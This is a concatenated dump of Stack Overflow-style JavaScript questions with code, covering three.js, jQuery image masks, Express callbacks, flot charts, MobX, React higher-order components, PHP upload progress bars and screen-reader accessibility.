1 ; i < len ; i++ ) { shape.lineTo ( edges [ i ] .x , -edges [ i ] .z ) ; } shape.lineTo ( firstEdge.x , -firstEdge.z ) ; var material = new THREE.MeshBasicMaterial ( { color:0x00aa00 , opacity:0.5 , side : THREE.DoubleSide , transparent : true , depthTest : false } ) ; var polygonGeometry = new THREE.ShapeGeometry ( shape ) ; polygon = new THREE.Mesh ( polygonGeometry , material ) ; polygon.position.y = firstEdge.y ; polygon.rotation.x = -Math.PI / 2. ; polygon.name = this.name ; scene.add ( polygon ) ; } function animate ( ) { controls.update ( ) ; window.requestAnimationFrame ( animate ) ; render ( ) ; } function render ( ) { renderer.render ( scene , camera ) ; } ; < script type= '' text/javascript '' src= '' https : //cdnjs.cloudflare.com/ajax/libs/three.js/100/three.js '' > < /script > < script type= '' text/javascript '' src= '' https : //threejs.org/examples/js/controls/OrbitControls.js '' > < /script >",How to show grid in object in threejs ? "JS : Once user click on Mask image , we are allowing user to upload custom image , this is working fine if there is single mask image : https : //codepen.io/kidsdial/pen/jJBVONRequirement : but if there are multiple mask images , then also user should be able to upload custom images on all mask images [ something like https : //codepen.io/kidsdial/pen/rRmYPr ] , but right now its working only for single image ... .2 images codepen : https : //codepen.io/kidsdial/pen/xBLrjY8 images codepen : https : //codepen.io/kidsdial/pen/ywMVOYvideo linkEditI tried as Static way : https : //codepen.io/kidsdial/pen/xBLrjY , here for 2 images , i included 2 < input type= '' file '' > , for 3 images i may need to add 3 input files , is it possible to fix the number of or is there any other dynamic hack , so that it will work for any number of mask images ? var mask ; let jsonData = { `` path '' : `` newyear collage\/ '' , `` info '' : { `` author '' : `` '' , `` keywords '' : `` '' , `` file '' : `` newyear collage '' , `` date '' : `` sRGB '' , `` title '' : `` '' , `` description '' : `` Normal '' , `` generator '' : `` Export Kit v1.2.8 '' } , `` name '' : `` newyear collage '' , `` layers '' : [ { `` x '' : 0 , `` height '' : 612 , `` layers '' : [ { `` x '' : 0 , `` color '' : `` 0xFFFFFF '' , `` height '' : 612 , `` y '' : 0 , `` width '' : 612 , `` shapeType '' : `` rectangle '' , `` type '' : `` shape '' , `` name '' : `` bg_rectangle '' } , { `` x '' : 160 , `` height '' : 296 , `` layers '' : [ { `` x '' : 0 , `` height '' : 296 , `` src '' : `` ax0HVTs.png '' , `` y '' : 0 , `` width '' : 429 , `` type '' : `` image '' , `` name '' : `` mask_image_1 '' } , { `` radius '' : `` 26 \/ 27 '' , `` color '' : `` 0xACACAC '' , `` x '' : 188 , `` y '' : 122 , `` height '' : 53 , `` width '' : 53 , `` shapeType '' : `` ellipse '' , `` type '' : `` shape '' , `` name '' : `` useradd_ellipse1 '' } ] , `` y '' : 291 , `` width '' : 429 , `` type '' : `` group '' , `` name '' : `` user_image_1 '' } , { `` x '' : 25 , `` height '' : 324 , `` layers '' : [ { `` x '' : 0 , `` height '' : 324 , `` src '' : `` hEM2kEP.png '' , `` y '' : 0 , `` width '' : 471 , `` type '' : `` image '' , `` name '' : `` mask_image_2 '' } , { `` radius '' : `` 26 \/ 27 '' , `` color '' : `` 0xACACAC '' , `` x '' : 209 , `` y '' : 136 , `` height '' : 53 , `` width '' : 53 , `` shapeType '' : `` ellipse '' , `` type '' : `` shape '' , `` name '' : `` useradd_ellipse_2 '' } ] , `` y '' : 22 , `` width '' : 471 , `` type '' : `` group '' , `` name '' : `` user_image_2 '' } ] , `` y '' : 0 , `` width '' : 612 , `` type '' : `` group '' , `` name '' : `` newyearcollage08 '' } ] } ; $ ( document ) .ready ( function ( ) { $ ( '.container ' ) .click ( function ( e ) { setTimeout ( ( ) = > { $ ( ' # fileup ' ) .click ( ) ; } , 20 ) } ) ; function getAllSrc ( layers ) { let arr = [ ] ; layers.forEach ( layer = > { if ( layer.src ) { arr.push ( { src : layer.src , x : layer.x , y : layer.y } ) ; } else if ( layer.layers ) { let newArr = getAllSrc ( layer.layers ) ; if ( newArr.length > 0 ) { newArr.forEach ( ( { src , x , y } ) = > { arr.push ( { src , x : ( layer.x + x ) , y : ( layer.y + y ) } ) ; } ) ; } } } ) ; return arr ; } function json ( data ) { var width = 0 ; var height = 0 ; let arr = getAllSrc ( data.layers ) ; let layer1 = data.layers ; width = layer1 [ 0 ] .width ; height = layer1 [ 0 ] .height ; for ( let { src , x , y } of arr ) { $ ( `` .container '' ) .css ( 'width ' , width + `` px '' ) .css ( 'height ' , height + `` px '' ) .addClass ( 'temp ' ) ; var mask = $ ( `` .container '' ) .mask ( { maskImageUrl : 'https : //i.imgur.com/ ' + src , onMaskImageCreate : function ( img ) { img.css ( { `` position '' : `` absolute '' , `` left '' : x + `` px '' , `` top '' : y + `` px '' } ) ; } } ) ; fileup.onchange = function ( ) { mask.loadImage ( URL.createObjectURL ( fileup.files [ 0 ] ) ) ; } ; } } json ( jsonData ) ; } ) ; // end of document ready// jq plugin for mask ( function ( $ ) { var JQmasks = [ ] ; $ .fn.mask = function ( options ) { // This is the easiest way to have default options . var settings = $ .extend ( { // These are the defaults . maskImageUrl : undefined , imageUrl : undefined , scale : 1 , id : new Date ( ) .getUTCMilliseconds ( ) .toString ( ) , x : 0 , // image start position y : 0 , // image start position onMaskImageCreate : function ( div ) { } , } , options ) ; var container = $ ( this ) ; let prevX = 0 , prevY = 0 , draggable = false , img , canvas , context , image , timeout , initImage = false , startX = settings.x , startY = settings.y , div ; container.mousePosition = function ( event ) { return { x : event.pageX || event.offsetX , y : event.pageY || event.offsetY } ; } container.selected = function ( ev ) { var pos = container.mousePosition ( ev ) ; var item = $ ( `` .masked-img canvas '' ) .filter ( function ( ) { var offset = $ ( this ) .offset ( ) var x = pos.x - offset.left ; var y = pos.y - offset.top ; var d = this.getContext ( '2d ' ) .getImageData ( x , y , 1 , 1 ) .data ; return d [ 0 ] > 0 } ) ; JQmasks.forEach ( function ( el ) { var id = item.length > 0 ? $ ( item ) .attr ( `` id '' ) : `` '' ; if ( el.id == id ) el.item.enable ( ) ; else el.item.disable ( ) ; } ) ; } ; container.enable = function ( ) { draggable = true ; $ ( canvas ) .attr ( `` active '' , `` true '' ) ; div.css ( { `` z-index '' : 2 } ) ; } container.disable = function ( ) { draggable = false ; $ ( canvas ) .attr ( `` active '' , `` false '' ) ; div.css ( { `` z-index '' : 1 } ) ; } container.onDragStart = function ( evt ) { container.selected ( evt ) ; prevX = evt.clientX ; prevY = evt.clientY ; var img = new Image ( ) ; evt.originalEvent.dataTransfer.setDragImage ( img , 10 , 10 ) ; evt.originalEvent.dataTransfer.setData ( 'text/plain ' , 'anything ' ) ; } ; container.getImagePosition = function ( ) { return { x : settings.x , y : settings.y , scale : settings.scale } ; } ; container.onDragOver = function ( evt ) { if ( draggable & & $ ( canvas ) .attr ( `` active '' ) === `` true '' ) { var x = settings.x + evt.clientX - prevX ; var y = settings.y + evt.clientY - prevY ; if ( x == settings.x & & y == settings.y ) return ; // position has not changed settings.x += evt.clientX - prevX ; settings.y += evt.clientY - prevY ; prevX = evt.clientX ; prevY = evt.clientY ; container.updateStyle ( ) ; } } ; container.updateStyle = function ( ) { clearTimeout ( timeout ) ; timeout = setTimeout ( function ( ) { context.clearRect ( 0 , 0 , canvas.width , canvas.height ) ; context.beginPath ( ) ; context.globalCompositeOperation = `` source-over '' ; image = new Image ( ) ; image.setAttribute ( 'crossOrigin ' , 'anonymous ' ) ; image.src = settings.maskImageUrl ; image.onload = function ( ) { canvas.width = image.width ; canvas.height = image.height ; context.drawImage ( image , 0 , 0 , image.width , image.height ) ; div.css ( { `` width '' : image.width , `` height '' : image.height } ) ; } ; img = new Image ( ) ; img.src = settings.imageUrl ; img.setAttribute ( 'crossOrigin ' , 'anonymous ' ) ; img.onload = function ( ) { settings.x = settings.x == 0 & & initImage ? ( canvas.width - ( img.width * settings.scale ) ) / 2 : settings.x ; settings.y = settings.y == 0 & & initImage ? ( canvas.height - ( img.height * settings.scale ) ) / 2 : settings.y ; context.globalCompositeOperation = 'source-atop ' ; context.drawImage ( img , settings.x , settings.y , img.width * settings.scale , img.height * settings.scale ) ; initImage = false ; } ; } , 0 ) ; } ; // change the draggable image container.loadImage = function ( imageUrl ) { if ( img ) img.remove ( ) ; // reset the code . settings.y = startY ; settings.x = startX ; prevX = prevY = 0 ; settings.imageUrl = imageUrl ; initImage = true ; container.updateStyle ( ) ; } ; // change the masked Image container.loadMaskImage = function ( imageUrl , from ) { if ( div ) div.remove ( ) ; canvas = document.createElement ( `` canvas '' ) ; context = canvas.getContext ( '2d ' ) ; canvas.setAttribute ( `` draggable '' , `` true '' ) ; canvas.setAttribute ( `` id '' , settings.id ) ; settings.maskImageUrl = imageUrl ; div = $ ( `` < div/ > '' , { `` class '' : `` masked-img '' } ) .append ( canvas ) ; // div.find ( `` canvas '' ) .on ( 'touchstart mousedown ' , function ( event ) div.find ( `` canvas '' ) .on ( 'dragstart ' , function ( event ) { if ( event.handled === false ) return ; event.handled = true ; container.onDragStart ( event ) ; } ) ; div.find ( `` canvas '' ) .on ( 'touchend mouseup ' , function ( event ) { if ( event.handled === false ) return ; event.handled = true ; container.selected ( event ) ; } ) ; div.find ( `` canvas '' ) .bind ( `` dragover '' , container.onDragOver ) ; container.append ( div ) ; if ( settings.onMaskImageCreate ) settings.onMaskImageCreate ( div ) ; container.loadImage ( settings.imageUrl ) ; } ; container.loadMaskImage ( settings.maskImageUrl ) ; JQmasks.push ( { item : container , id : settings.id } ) return container ; } ; } ( jQuery ) ) ; .temp { background : black ; } .container { background : black ; position : relative ; } .masked-img { overflow : hidden ; margin-top : 30px ; position : relative ; } < script src= '' https : //code.jquery.com/jquery-3.3.1.min.js '' > < /script > < input id= '' fileup '' name= '' fileup '' type= '' file '' style= '' display : none '' > < div class= '' container '' > < /div >",Upload Image onclick on Multiple mask Images "JS : I 've just started learning node.js and express and there 's something that confuses me a bit in the `` hello world '' example on the express.js website . In the example , they refer to the server variable inside the callback function.Does app.listen ( ) return a value to server variable before it executes the callback function ? How can it do that and how does it work ? Is this the same for all callback functions in node ( and javascript ) ? I would just like a simple explanation of the execution process.To be clear , I understand that the callback function has access to the server variable . But if the app.listen method executes the callback function before it returns a value to the server variable , would n't that mean that the server variable is still underfined when you try to access server.adress ( ) ? That is what I do n't understand . var server = app.listen ( 3000 , function ( ) { var host = server.address ( ) .address ; var port = server.address ( ) .port ; console.log ( 'App listening at http : // % s : % s ' , host , port ) ; } ) ;",How are callback functions executed in node.js ? "JS : I 'm trying to plot a graph using jquery flot plugin with JSON data . What I need to do is.When the page loads it will makes an ajax call and receives json data from the server.from the received json I need to add ' x ' and ' y ' axis label . And I want to draw the graph according to points in json data . ' Y ' axis must have values from 0 to 100 ' X ' axis should have only json data valueMy Script is : Now my graph Looks like thisAnd the JSONWhat I want to print is November ( 2013 ) and December ( 2013 ) and have to draw graph from 8.33 to 0 Now it is print January ( 1970 ) Why I do n't know.Please any one help me to solve this issue . I 'm struggling to solve this from two days . Thanks ... //var maxDate = new Date ( ) ; //var minDate = new Date ( ) ; var options = { series : { lines : { show : true } , points : { show : true } } , grid : { hoverable : true , clickable : true } , xaxis : { //min : minDate.setMonth ( maxDate.getMonth ( ) - 12 ) , //max : maxDate , mode : `` time '' , monthNames : [ `` January '' , `` February '' , `` March '' , `` April '' , `` May '' , `` June '' , `` July '' , `` August '' , `` September '' , `` October '' , `` November '' , `` December '' ] , timeformat : `` % b ( % Y ) '' } , yaxis : { min : 0 , max : 100 , ticks : 10 } var data = [ ] ; var placeholder = $ ( `` # trigo '' ) ; var dataurl = 'cprogress.php ? action=overall ' ; // then fetch the data with jQuery function onDataReceived ( series ) { data.push ( series ) ; $ .plot ( placeholder , data , options ) ; setData ( data ) ; } $ .ajax ( { url : dataurl , method : 'GET ' , dataType : 'json ' , success : onDataReceived } ) ; [ [ `` 2013-11-05 '' ,8.3333333333333 ] , [ `` 2013-12-05 '' ,0 ] ]",Jquery flot plugin is not plotting graph according to the date "JS : I 've this array : I need to convert it to a typescript typeHow can I do this in typescript ? const arr = [ `` foo '' , `` bar '' , `` loo '' ] type arrTyp = `` foo '' | `` bar '' | `` loo '' ;",How to convert array of strings to typescript types ? "JS : I 'm exploring MobX and went intrigued by a problem : If I have this observable : and then change it like this : I noticed the following : autorun ( ( ) = > console.log ( store.items ) ) ; never fires ... autorun ( ( ) = > console.log ( store.items [ 0 ] ) ) ; fires every 1s and gives a new valueautorun ( ( ) = > console.log ( store.items.length ) ) ; fires every 1s although value is unchangedWhat is the API logic behind this ? I would expect that since store.items never fires , that unchanged properties would behave the same.And how come MobX knows what code is inside my callback ? is it analysing my callback I pass to autorun ? class ItemsStore { @ observable items = [ 1,2,3 ] ; } const store = new ItemsStore ; setInterval ( ( ) = > { store.items [ 0 ] = +new Date } , 1000 )",MobX autorun behavior "JS : Given a set of words , I need to know which words are formed only by a set of letters . This word can not have more letters than allowed , even if this letter is part of the verification set.Example : Result : How to generate this regular expression in Javascript ? ( Case sensitive is not a problem ) .I have tried this code without success : Char set : a , a , ã , c , e , l , m , m , m , o , o , o , o , t ( fixed set ) Words set : mom , ace , to , toooo , ten , all , aaa ( variable set ) mom = trueace = trueto = truetoooo = trueten = false ( n is not in the set ) all = false ( there is only 1 L in the set ) aaa = false ( theres is only 2 A in the set ) var str = `` ten '' var patt = new RegExp ( `` ^ [ a , a , ã , c , e , l , m , m , m , o , o , o , o , t ] * '' ) ; console.log ( patt.test ( str ) ) ;",RegEx for matching words only formed with a list of letters "JS : IIUC Array.slice ( 0 ) returns a copy of the array . Is it a shallow copy ? In other words the array items still have the same memory location , but the array container gets assigned a new one ? Effectively : let oldArray = [ 'old ' , 'array ' ] ; let newArray = oldarray.slice ( 0 ) ; let same = oldArray [ 0 ] === newArray [ 0 ] ; //true let same = oldArray === newArray ; //false",Does javascript Array.slice ( 0 ) return a shallow copy ? "JS : I have the following html : I want to select only own text for each element . I tried to use jQuery text function , but it returns the combined text content of all elements in selection : And what I need : < div > < div id= '' t1 '' > Text1 < /div > < div id= '' t2 '' > Text2 < ul id= '' t3 '' > < li id= '' t4 '' > Text3 < /li > < /ul > < /div > < /div > t1 = > Text1t2 = > Text2 Text3t3 = > Text3t4 = > Text3 t1 = > Text1t2 = > Text2t3 = > t4 = > Text3",How to select own text of the element using jQuery "JS : I am facing a problem I ca n't figure out . For a project we use React to generate a layout from JSON input using the following code ( simplified ) : This works well and the layout is generated correctly . We wanted to take this a step further and wrap the createdComp in a Higher Order Component . We implemented that in the following way : This broke our component generation . The code returns nothing . The only thing that gets logged is the console.log ( 'wrapped ' ) , the render function of the class is never called . What are we missing here ? EDIT : Render method of the render class : EDIT 2 : Console.log of { comps } with the testingHocConsole.log of { comps } without the testingHocEdit 3Added the code for ViewComponent : function generateComponents ( children , params ) { let comps = [ ] ; if ( ! children || children & & children.length === 0 ) { return [ ] ; } forEach ( children , ( comp ) = > { let compName = comp.component ; let createdComp ; switch ( compName ) { case 'test1 ' : createdComp = TestOne ( Object.assign ( { } , comp , params ) ) ; break ; case 'test2 ' : createdComp = TestTwo ( Object.assign ( { } , comp , params ) ) ; break ; } comps.push ( createdComp ) } } return comps.length === 1 ? comps [ 0 ] : comps ; } function generateComponents ( children , params ) { // see above for implementation let component ; if ( condition ) component = testingHOC ( createdComp ) ; else component = createdComp comps.push ( component ) ; } // TestingHOC.jsexport function testingHoc ( WrappedComponent ) { console.log ( 'wrapped ' ) return class TestingHoc extends Component { render ( ) { console.log ( 'props TestingHOC ' , this.props ) ; return ( < WrappedComponent { ... this.props } / > ) ; } } } ; render ( ) { const children = this.state.children ; const { params } = this.props ; const arrChildren = isArray ( children ) ? children : [ children ] ; let comps = generateComponents ( arrChildren , params || { } ) ; if ( isArray ( comps ) ) { return ( < ViewComponent > { comps } < /ViewComponent > ) ; } else { return comps ; } } import React from 'react ' ; const ViewComponent = ( props ) = > ( < div { ... props } / > ) ; export default ViewComponent ;",React HOC class returns nothing "JS : Wondering if there is a way to combine identical code of 2 separate functions into 1 function.In my case : jQuery ( 'body ' ) .on ( 'click ' , '.some_div ' , function ( e ) { // Long and fancy code } ) ; jQuery ( window ) .resize ( function ( ) { // Do the same fancy stuff ( identical code ) } ) ;",Combining $ ( 'body ' ) .on ( 'click ' ) with $ ( window ) .resize ( function ( ) in jQuery "JS : Note I am new to PHP , Apache and programming for servers so more thorough explanations will be appreciated.ContextI created - in javascript - a progress bar to display when a file is uploaded . Current I have the progress bar update at a set frame-rate ( to see if it works ) .Clearly to make this an accurate progress bar , everything should in relation to the number of bytes transferred in comparison to the total number of bytes . Questionusing PHP5 how can I get information regarding the number of bytes transferred in relation to the total number of bytes of the file , such that I can pass that to a JS function updateProgress ( bytesSoFar , totalBytes ) to update my progress bar ? Please verbosely walk me through the modifications needed to the code below to get this to work . I have seen xhr examples , but they are not thoroughly accessible.I have just set up LocalHost and am using W3Schools ' PHP File Upload tutorial . To get the simulated `` upload '' to work , I changed the local permissions as suggested in this S.O . post . I do n't necessarily need to read the file , I just want to know many bytes have been transferred.CodeCurrently I have two files : index.phpupload.phpindex.phpupload.phpUpdateI have found this code : test.phpprogress.phpWhich , like my previous code , transfers the file . However , this does n't show the bytes until the end ( even though it should alert for that ) , also it opens a new window with the `` Done . '' statement in the previous window . < ! DOCTYPE html > < html > < body > < form action= '' upload.php '' method= '' post '' enctype= '' multipart/form-data '' > Select image to upload : < input type= '' file '' name= '' fileToUpload '' id= '' fileToUpload '' > < input type= '' submit '' value= '' Upload Image '' name= '' submit '' > < /form > < /body > < /html > < ? php $ target_dir = `` uploads/ '' ; $ target_file = $ target_dir . basename ( $ _FILES [ `` fileToUpload '' ] [ `` name '' ] ) ; $ uploadOk = 1 ; $ imageFileType = pathinfo ( $ target_file , PATHINFO_EXTENSION ) ; // Check if image file is a actual image or fake imageif ( isset ( $ _POST [ `` submit '' ] ) ) { $ check = getimagesize ( $ _FILES [ `` fileToUpload '' ] [ `` tmp_name '' ] ) ; if ( $ check ! == false ) { echo `` File is an image - `` . $ check [ `` mime '' ] . `` . `` ; $ uploadOk = 1 ; } else { echo `` File is not an image . `` ; $ uploadOk = 0 ; } } // Check if file already existsif ( file_exists ( $ target_file ) ) { echo `` Sorry , file already exists . `` ; $ uploadOk = 0 ; } // Check file sizeif ( $ _FILES [ `` fileToUpload '' ] [ `` size '' ] > 500000 ) { echo `` Sorry , your file is too large . `` ; $ uploadOk = 0 ; } // Allow certain file formatsif ( $ imageFileType ! = `` jpg '' & & $ imageFileType ! = `` png '' & & $ imageFileType ! = `` jpeg '' & & $ imageFileType ! = `` gif '' ) { echo `` Sorry , only JPG , JPEG , PNG & GIF files are allowed . `` ; $ uploadOk = 0 ; } // Check if $ uploadOk is set to 0 by an errorif ( $ uploadOk == 0 ) { echo `` Sorry , your file was not uploaded . `` ; // if everything is ok , try to upload file } else { if ( move_uploaded_file ( $ _FILES [ `` fileToUpload '' ] [ `` tmp_name '' ] , $ target_file ) ) { echo `` The file `` . basename ( $ _FILES [ `` fileToUpload '' ] [ `` name '' ] ) . `` has been uploaded . `` ; } else { echo `` Sorry , there was an error uploading your file . `` ; } } ? > < ? phpif ( $ _SERVER [ `` REQUEST_METHOD '' ] == `` POST '' & & ! empty ( $ _FILES [ `` userfile '' ] ) ) { // move_uploaded_file ( $ _FILES [ `` fileToUpload '' ] [ `` tmp_name '' ] , $ target_file ) move_uploaded_file ( $ _FILES [ `` userfile '' ] [ `` tmp_name '' ] , `` uploads/ '' . $ _FILES [ `` userfile '' ] [ `` name '' ] ) ; } ? > < html > < head > < title > File Upload Progress Bar < /title > < style type= '' text/css '' > # bar_blank { border : solid 1px # 000 ; height : 20px ; width : 300px ; } # bar_color { background-color : # 006666 ; height : 20px ; width : 0px ; } # bar_blank , # hidden_iframe { display : none ; } < /style > < /head > < body > < div id= '' bar_blank '' > < div id= '' bar_color '' > < /div > < /div > < div id= '' status '' > < /div > < form action= '' < ? php echo $ _SERVER [ `` PHP_SELF '' ] ; ? > '' method= '' POST '' id= '' myForm '' enctype= '' multipart/form-data '' target= '' hidden_iframe '' > < input type= '' hidden '' value= '' myForm '' name= '' < ? php echo ini_get ( `` session.upload_progress.name '' ) ; ? > '' > < input type= '' file '' name= '' userfile '' > < br > < input type= '' submit '' value= '' Start Upload '' > < /form > < script type= '' text/javascript '' > function toggleBarVisibility ( ) { var e = document.getElementById ( `` bar_blank '' ) ; e.style.display = ( e.style.display == `` block '' ) ? `` none '' : `` block '' ; } function createRequestObject ( ) { var http ; if ( navigator.appName == `` Microsoft Internet Explorer '' ) { http = new ActiveXObject ( `` Microsoft.XMLHTTP '' ) ; } else { http = new XMLHttpRequest ( ) ; } return http ; } function sendRequest ( ) { var http = createRequestObject ( ) ; http.open ( `` GET '' , `` progress.php '' ) ; http.onreadystatechange = function ( ) { handleResponse ( http ) ; } ; http.send ( null ) ; } function handleResponse ( http ) { var response ; if ( http.readyState == 4 ) { response = http.responseText ; document.getElementById ( `` bar_color '' ) .style.width = response + `` % '' ; document.getElementById ( `` status '' ) .innerHTML = response + `` % '' ; if ( response < 100 ) { setTimeout ( `` sendRequest ( ) '' , 1000 ) ; } else { toggleBarVisibility ( ) ; document.getElementById ( `` status '' ) .innerHTML = `` Done . `` ; } } } function startUpload ( ) { toggleBarVisibility ( ) ; setTimeout ( `` sendRequest ( ) '' , 1000 ) ; } ( function ( ) { document.getElementById ( `` myForm '' ) .onsubmit = startUpload ; } ) ( ) ; < /script > < /body > < /html > session_start ( ) ; $ key = ini_get ( `` session.upload_progress.prefix '' ) . `` myForm '' ; if ( ! empty ( $ _SESSION [ $ key ] ) ) { $ current = $ _SESSION [ $ key ] [ `` bytes_processed '' ] ; $ total = $ _SESSION [ $ key ] [ `` content_length '' ] ; echo $ current < $ total ? ceil ( $ current / $ total * 100 ) : 100 ; $ message = ceil ( $ current / $ total * 100 ) : 100 ; $ message = `` $ message '' echo `` < script type='text/javascript ' > alert ( ' $ message ' ) ; < /script > '' ; } else { echo 100 ; } ? >",Get bytes transferred using PHP5 for POST request "JS : I 'm in javascript , running this in the console outputs this : Why would this be happening ? It seems like a browser bug . d = new Date ( ) ; d.setMonth ( 1 ) ; d.setFullYear ( 2009 ) ; d.setDate ( 15 ) ; d.toString ( ) ; `` Sun Mar 15 2009 18:05:46 GMT-0400 ( EDT ) ''",The fifteenth of February is n't found "JS : I am trying to make sure images larger then their viewing width will be opened in my image viewer . However on a 720p resolution , and Google Chrome , I get 0 for the width for both the original , and viewport widths ... Here is an example page where a image should be opened in BFX View ( try in Chrome on lower resolution ) : Live ExampleLog ( first image scanned is the image in question ) JavaScriptI changed the code for searches intending to make sure all possible classes were checked . The old code for starting a search wasUpdated Code Still no go on Chrome and broken on Firefox with this edit . This will tell me `` Width '' and `` height '' is not defined , like no image is loaded . Starting BFX View Version 0.3 Build 61 alphabfxcore.js:92 BFX View - > Looking for images in : .postpreview ... bfxcore.js:92 BFX View - > Looking for images in : .content ... bfxcore.js:109 Image : http : //media-cache-ec0.pinimg.com/originals/ed/e1/c7/ede1c78fe16fba4afd1606772a5fc1ac.jpg Original Width : 0 Against : 0bfxcore.js:109 Image : images/smilies/wink.png Original Width : 0 Against : 0bfxcore.js:109 Image : images/smilies/smile.png Original Width : 0 Against : 0bfxcore.js:109 Image : images/primus/blue/misc/quote_icon.png Original Width : 0 Against : 0bfxcore.js:109 Image : images/primus/blue/buttons/viewpost-right.png Original Width : 0 Against : 0bfxcore.js:109 Image : images/smilies/wink.png Original Width : 0 Against : 0bfxcore.js:109 Image : images/smilies/smile.png Original Width : 0 Against : 0bfxcore.js:109 Image : images/primus/blue/misc/quote_icon.png Original Width : 0 Against : 0bfxcore.js:109 Image : images/primus/blue/buttons/viewpost-right.png Original Width : 0 Against : 0 $ ( function ( ) { /**************************************************** / BFX View version 0.3 build 56 / by WASasquatch for BeeskneesFX.com /***************************************************/ // Global vars var appname = 'BFX View ' , appflag = 'alpha ' , appversion = 0.3 , appbuild = 61 , // Selectors findImagesIn = new Array ( '.postpreview ' , '.content ' , '.restore ' , '.postbody ' ) , // Master container class/id - all image tags in children elements get selected // Theater selectors theater = $ ( ' # theater-box ' ) , theaterimg = theater.find ( ' # theater-img ' ) , theaterclose = theater.find ( ' # theater-header span ' ) ; console.log ( 'Starting '+appname+ ' Version '+appversion+ ' Build '+appbuild+ ' '+appflag ) ; if ( notMobile === false ) { console.log ( appname+ ' detected a mobile device . Disabling BFX View for performance . Visit us on a desktop ! ' ) ; } else { // Start a BFX View selector for ( i=0 ; i < findImagesIn.length ; i++ ) { console.log ( appname+ ' - > Looking for images in : '+findImagesIn [ i ] + ' ... ' ) ; $ ( findImagesIn [ i ] ) .each ( function ( ) { bfxView ( ' . '+ $ ( this ) .attr ( 'class ' ) ) ; } ) ; } } function bfxView ( id ) { var imgCount = 0 ; $ ( id ) .each ( function ( ) { $ ( this ) .find ( 'img ' ) .each ( function ( ) { var img = $ ( this ) , width , height , origWidth = $ ( this ) .width ( ) ; hiddenImg = img.clone ( ) .attr ( 'class ' , '' ) .attr ( 'id ' , '' ) .css ( 'visibility ' , 'hidden ' ) .removeAttr ( 'height ' ) .removeAttr ( 'width ' ) .appendTo ( ' # loading-images ' ) ; height = hiddenImg.height ( ) ; width = hiddenImg.width ( ) ; hiddenImg.remove ( ) ; console.log ( 'Image : '+ $ ( this ) .attr ( 'src ' ) + ' Original Width : '+origWidth+ ' Against : '+width ) ; if ( width > origWidth ) { imgCount++ ; $ ( this ) .css ( 'cursor ' , 'pointer ' ) ; var parent = $ ( this ) .parent ( ) ; if ( parent.attr ( 'href ' ) == $ ( this ) .attr ( 'src ' ) ) { parent.attr ( 'target ' , '_self ' ) ; parent.removeAttr ( 'href ' ) ; } $ ( this ) .click ( function ( ) { var startingPoint = $ ( document ) .scrollTop ( ) , theaterActive = true , bodyo = $ ( 'body ' ) .css ( 'overflow ' ) ; $ ( 'body ' ) .css ( 'overflow ' , 'hidden ' ) ; theaterimg.html ( ' < img src= '' ' + $ ( this ) .attr ( 'src ' ) + ' '' alt= '' Medium View '' / > ' ) ; setTimeout ( function ( ) { theaterimg.find ( 'img ' ) .each ( function ( ) { var renderWidth = $ ( this ) .width ( ) ; if ( renderWidth < width ) { $ ( this ) .css ( 'cursor ' , 'pointer ' ) ; theater.find ( ' # viewfull ' ) .attr ( 'href ' , '/viewer.html ? src='+Base64.encode ( $ ( this ) .attr ( 'src ' ) ) + ' & t='+Base64.encode ( window.location.href ) ) ; theater.on ( 'click ' , ' # theater-img img ' , function ( ) { window.location.href = '/viewer.html ? src='+Base64.encode ( $ ( this ) .attr ( 'src ' ) ) + ' & t='+Base64.encode ( window.location.href ) ; } ) ; } else { theater.find ( ' # viewfull ' ) .remove ( ) ; $ ( this ) .attr ( 'alt ' , 'Full Resolution View ' ) ; } } ) ; } ,0 ) ; theater.fadeIn ( 1000 , function ( ) { theaterclose.click ( function ( ) { theater.fadeOut ( 1000 , function ( ) { theaterActive = false ; } ) ; $ ( 'body ' ) .css ( 'overflow ' , bodyo ) ; } ) ; } ) ; } ) ; } } ) ; } ) ; console.log ( appname+ ' - > '+imgCount+ ' images found in '+id ) ; } } ) ; for ( i=0 ; i < findImagesIn.length ; i++ ) { console.log ( appname+ ' - > Looking for images in : '+findImagesIn [ i ] + ' ... ' ) ; bfxView ( findImagesIn [ i ] ) ; } $ ( this ) .find ( 'img ' ) .each ( function ( ) { $ ( this ) .load ( function ( ) { var img = $ ( this ) , width , height , origWidth = $ ( this ) .outerWidth ( ) ; hiddenImg = img.clone ( ) .attr ( 'class ' , '' ) .attr ( 'id ' , '' ) .css ( 'visibility ' , 'hidden ' ) .removeAttr ( 'height ' ) .removeAttr ( 'width ' ) .appendTo ( ' # loading-images ' ) ; height = hiddenImg.height ( ) ; width = hiddenImg.width ( ) ; hiddenImg.remove ( ) ; } ) ;",Chrome not detecting image sizes "JS : Until recent version , jQuery used to check if numeric via : return ! isNaN ( parseFloat ( obj ) ) & & isFinite ( obj ) ; The first part is for : parseFloat ( `` d '' ) //Nan ! isNaN ( parseFloat ( Infinity ) ) //true but not a numberThe second part is for : isFinite ( ' 2 ' ) //trueBut in recent version they changed it and changed it to : Question : What was not good enough in the previous version that they changed it to the new one ? And why do they check if array ? return ! jQuery.isArray ( obj ) & & ( obj - parseFloat ( obj ) + 1 ) > = 0 ;",jQuery 's change of isNumeric ( in latest versions ) ? "JS : I would like to create an accessible web page which contains a number of components that can be hidden and shown as the user interacts with the page . When a component is shown I expect a screen reader ( in this case NVDA ) to read the contents of the component.As an example : In the above example clicking a button within component 1 will hide component 1 and show component 2.Clicking a button within component 2 will hide component 2 and show component 1.However NVDA does not seem to read the contents of the components when toggling between the components . Is there a way that this can be achieved ? Please see this Gist on GitHub to check using NVDA < html > < body > < div id= '' comp1 '' style= '' display : none ; '' role= '' region '' tabindex= '' -1 '' aria-expanded= '' false '' > < div > This is component 1 < /div > < button type= '' button '' onclick= '' ShowComponent ( comp2 ) '' > Show 2 < /button > < /div > < div id= '' comp2 '' style= '' display : none ; '' role= '' region '' tabindex= '' -1 '' aria-expanded= '' false '' > < div > This is component 2 < /div > < button type= '' button '' onclick= '' ShowComponent ( comp1 ) '' > Show 1 < /button > < /div > < script type= '' text/javascript '' > function HideAll ( ) { // hide both components var comp1 = document.getElementById ( `` comp1 '' ) ; comp1.style.display = `` none '' ; comp1.setAttribute ( `` aria-expanded '' , `` false '' ) ; var comp2 = document.getElementById ( `` comp2 '' ) ; comp2.style.display = `` none '' ; comp2.setAttribute ( `` aria-expanded '' , `` false '' ) ; } function ShowComponent ( comp ) { HideAll ( ) ; // show this component comp.style.display = `` block '' ; comp.setAttribute ( `` aria-expanded '' , `` true '' ) ; comp.focus ( ) ; } ShowComponent ( document.getElementById ( `` comp1 '' ) ) ; < /script > < /body > < /html 